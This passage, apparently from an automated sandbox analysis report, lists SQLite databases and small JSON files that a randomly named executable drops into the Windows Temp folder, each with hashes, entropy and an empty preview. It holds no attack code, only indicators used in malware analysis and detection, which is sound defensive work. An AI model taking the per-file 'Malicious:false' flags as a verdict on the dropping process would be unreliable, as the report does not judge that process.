                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\ejde5aRDK5

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\en0TQqQzFp

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\fH4zDKz4oG

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\fp9rczzxYA

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\fvGRdJq04G

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\g18zqmcfsC

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5707520969659783
                                                            Encrypted:false
                                                            SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                            SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                            SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                            SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\gVAfpgpiru

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\h9iec7N190

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\hDY034fX7s

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5707520969659783
                                                            Encrypted:false
                                                            SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                            SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                            SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                            SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\hLfJsQNFuZ

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\hTymJ8AAHE

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\hbMGS4Fe0h

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\hlH9MZdeHW

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\hzoLN8Mn60

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\i6OEGlx0Id

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\iFrgXbO9GH

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\iIiXQK70y8

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\iJax8RLFnX

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\ixawUazJlJ

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\j2ur2tazoK

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\jBHhI4bvxt

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\jRvarnGn3S

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\ju19XfaHp4

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\k788HrQDFG

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\kRTwkVCTH0

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
